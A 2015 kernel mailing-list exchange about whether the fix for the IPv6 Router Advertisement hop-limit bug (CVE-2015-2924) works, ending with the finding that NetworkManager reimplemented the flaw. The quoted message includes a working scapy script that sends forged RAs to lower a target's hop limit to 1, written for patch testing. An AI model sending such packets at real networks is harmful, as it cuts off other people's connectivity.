On 29/04/15 16:51, Denys Vlasenko wrote: > On Wed, Apr 1, 2015 at 9:48 PM, David Miller <da...@davemloft.net> wrote: >> D.S. Ljungmark (1): >> ipv6: Don't reduce hop limit for an interface > > https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=6fd99094de2b83d1d4c8457f2c83483b2828e75a > > I was testing this change and apparently it doesn't close the hole. > > The python script I use to send RAs: > > #!/usr/bin/env python > import sys > import time > import scapy.all > from scapy.layers.inet6 import * > ip = IPv6() > # ip.dst = 'ff02::1' > ip.dst = sys.argv[1] > icmp = ICMPv6ND_RA() > icmp.chlim = 1 > for x in range(10): > send(ip/icmp) > time.sleep(1) > > # ./ipv6-hop-limit.py fe80::21e:37ff:fed0:5006 > . > Sent 1 packets. > ...<10 times>... > Sent 1 packets. > > After I do this, on the targeted machine I check hop_limits: > > # for f in /proc/sys/net/ipv6/conf/*/hop_limit; do echo -n $f:; cat $f; done > /proc/sys/net/ipv6/conf/all/hop_limit:64 > /proc/sys/net/ipv6/conf/default/hop_limit:64 > /proc/sys/net/ipv6/conf/enp0s25/hop_limit:1 <=== THIS > /proc/sys/net/ipv6/conf/lo/hop_limit:64 > /proc/sys/net/ipv6/conf/wlp3s0/hop_limit:64 > > As you see, the interface which received RAs still lowered > its hop_limit to 1. I take it means that the bug is still present > (right? I'm not a network guy...).
It might not be present in the _kernel_. Do you run NetworkManager on
your system? If so, see below.
>
> I triple-checked that I do run the kernel with the fix.
> Further investigation shows that the code touched by the fix
> is not even reached, hop_limit is changed elsewhere.
>
> I'm willing to test additional patches.
NetworkManager had it's own re-implementation of the bug. It got fixed
with NetworkManager commit:
commit bdaaf9849b0cacf131b71fa2ae168f5db796874f
Author: Thomas Haller <thal...@redhat.com>
Date: Wed Apr 8 15:54:30 2015 +0200
platform: don't accept lowering IPv6 hop-limit from RA (CVE-2015-2924)
Beforte that commit, NetworkManager would take the RA packet, extract
the hop limit, and write it to the sysctl itself.
//D.S.
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